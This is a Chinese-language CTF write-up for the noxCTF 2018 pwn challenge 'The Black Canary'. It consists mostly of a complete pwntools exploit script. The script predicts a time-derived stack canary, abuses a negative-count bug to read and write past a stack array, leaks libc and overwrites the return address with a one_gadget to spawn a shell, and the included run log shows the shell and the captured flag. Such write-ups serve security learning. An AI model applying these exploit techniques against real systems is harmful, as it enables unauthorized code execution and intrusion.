跳转至

The Black Canary

漏洞分析

可输入负数,达到数组越界的目的,从而可以向后溢出覆盖返回地址。但因溢出限制,必须先覆盖canary,而canary无法泄露。

利用代码

#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *
from time import sleep
import os
import sys

elfPath = "./TheBlackCanary"
libcPath = "./libc.so.6"
remoteAddr = "chal.noxale.com"
remotePort = 6667

context.binary = elfPath
elf = context.binary
if sys.argv[1] == "l":
    io = process(elfPath)
    libc = elf.libc

else:
    if sys.argv[1] == "d":
        io = process(elfPath, env = {"LD_PRELOAD": libcPath})
    else:
        io = remote(remoteAddr, remotePort)
    if libcPath:
        libc = ELF(libcPath)

#  context.log_level = "debug"
context.terminal = ["deepin-terminal", "-x", "sh", "-c"]
success = lambda name, value: log.success("{} -> {:#x}".format(name, value))

def DEBUG():
    info("PID -> {}".format(io.pid))
    raw_input("DEBUG: ")

def show():
    io.sendlineafter("die\n", "1")

def add(argument):
    assert len(argument) < 32
    io.sendlineafter("die\n", "2")
    io.sendafter(": \n", argument)

def edit(idx, argument):
    assert len(argument) < 32
    io.sendlineafter("die\n", "3")
    io.sendlineafter("?\n", str(idx))
    io.sendlineafter(": \n", argument)

def remove_single(idx):
    io.sendlineafter("die\n", "4")
    io.sendlineafter("arguments\n", "1")
    io.sendlineafter("remove?\n", str(idx))

def remove_consecutive(idx_start, num):
    io.sendlineafter("die\n", "4")
    io.sendlineafter("arguments\n", "2")
    io.sendlineafter("start?\n", str(idx_start))
    io.sendlineafter("remove?\n", str(num))

def leave():
    io.sendlineafter("die\n", "5")

get_canary = lambda : int(os.popen("./set_canary").read().strip(), 16)

if __name__ == "__main__":
    '''
    This challenge named "The Black Canary" suggests there must be something interesting with canary.
    And when I take a look at .init_array, an interesting function appears(I call it set_canary, located at 0x4008C7).
    unsigned __int64 set_canary()
{
  int v0; // ebx
  unsigned __int64 v1; // rbx
  int v2; // er12
  unsigned __int64 v3; // ST08_8
  time_t v4; // rbx
  unsigned __int64 v5; // ST08_8
  time_t v6; // ST08_8
  time_t v7; // ST08_8
  unsigned __int64 result; // rax

  time(0LL);
  time(0LL);
  v0 = time(0LL) >> 24;
  v1 = (unsigned __int64)(unsigned __int8)(v0 ^ (unsigned __int64)getenv(name)) << 24;
  v2 = time(0LL) >> 16;
  v3 = v1 + ((unsigned __int64)(unsigned __int8)(v2 ^ (unsigned __int64)getenv(name)) << 16);
  v4 = time(0LL) >> 8;
  v5 = (unsigned __int16)((((unsigned __int16)v4 ^ (unsigned __int16)time(0LL)) << 8) & 0xFF00) + v3;
  v6 = ((time(0LL) << 32) & 0xFF00000000LL) + v5;
  v7 = time(0LL) + v6;
  LODWORD(v4) = time(0LL) >> 24;
  LODWORD(v4) = (time(0LL) >> 16) + v4;
  LODWORD(v4) = (time(0LL) >> 8) + v4;
  result = ((unsigned __int64)(unsigned __int8)(v4 + time(0LL)) << 40) + v7;
  __writefsqword(0x28u, result);
  return result;
}
    And we know that time(0) is predictable, as a result, we're able to predict canary. So if there is a stack_overflow_bug, this challenge will be easy to be pwned.
    '''
    canary = get_canary()
    success("canary", canary)

    '''
    The bof bug will appear it we use remove_consecutive() with a negative amount of arguments.
    void __fastcall remove_consecutive(char *arg_list, _DWORD *cnt)
{
  size_t len; // rax
  char idx; // [rsp+15h] [rbp-Bh]
  char remove_num; // [rsp+16h] [rbp-Ah]
  char i; // [rsp+17h] [rbp-9h]
  unsigned __int64 v6; // [rsp+18h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  idx = 0;
  remove_num = 0;
  i = 0;
  print("With which argument would you like to start?");
  fflush(stdin);
  __isoc99_scanf("%hhd", &idx);
  getchar();
  if ( idx < 0 || (char)*cnt <= idx )
  {
    print("Index not in range");
  }
  else
  {
    print("How many arguments would you like to remove?");
    fflush(stdin);
    __isoc99_scanf("%hhd", &remove_num);        // negative
    getchar();
    if ( remove_num + idx < (char)*cnt )
    {
      for ( i = 0; i < remove_num; ++i )
      {
        if ( remove_num + i + idx >= (char)*cnt )
        {
          arg_list[32 * (idx + i)] = 0;
        }
        else
        {
          len = strlen(&arg_list[32 * (i + idx + remove_num)]);
          strncpy(&arg_list[32 * (idx + i)], &arg_list[32 * (i + idx + remove_num)], len + 1);
          arg_list[32 * (i + idx + remove_num)] = 0;
        }
      }
      *cnt -= remove_num;                       // bug here
    }
  }
}
    A negative number will lead to cnt be greater than 10, which to say, we can print the content behand arg_list[328] on the stack then we can leak libc. 
    Most importantly, we can use edit(10, payload) to modify retaddr to one_gadget.
    Then we're able to get a shell.
    '''
    for i in xrange(10):
        add(str(i) * 31)
    remove_consecutive(9, '-6')
    show()
    io.recvuntil("\x7f")
    libc.address = u64(io.recvuntil("\x7f")[-6: ] + '\0\0') - 0x5f1168
    success("libc", libc.address)

    #  DEBUG()
    one_gadget = libc.address + 0x45216
    edit(10, 'aaaaaaaa' + p64(canary) + 'bbbbbbbb' + p64(one_gadget)[:-1])
    leave()

    io.interactive()

    '''
    noxCTF2018_The_Black_Canary [master●●] python exp.py r
    [*] '/home/m4x/pwn_repo/noxCTF2018_The_Black_Canary/TheBlackCanary'
        Arch:     amd64-64-little
        RELRO:    Partial RELRO
        Stack:    Canary found
        NX:       NX enabled
        PIE:      No PIE (0x400000)
    [+] Opening connection to chal.noxale.com on port 6667: Done
    [*] '/home/m4x/pwn_repo/noxCTF2018_The_Black_Canary/libc.so.6'
        Arch:     amd64-64-little
        RELRO:    Partial RELRO
        Stack:    Canary found
        NX:       NX enabled
        PIE:      PIE enabled
    [+] canary -> 0xaa1fb7311f1f
    [+] libc -> 0x7fbfa7624000
    [*] Switching to interactive mode
    You could have saved them all
    $ cat flag
    noxCTF{Mas7er_0f_ROPcha1ns}
    $
    [*] Closed connection to chal.noxale.com port 6667
    '''

评论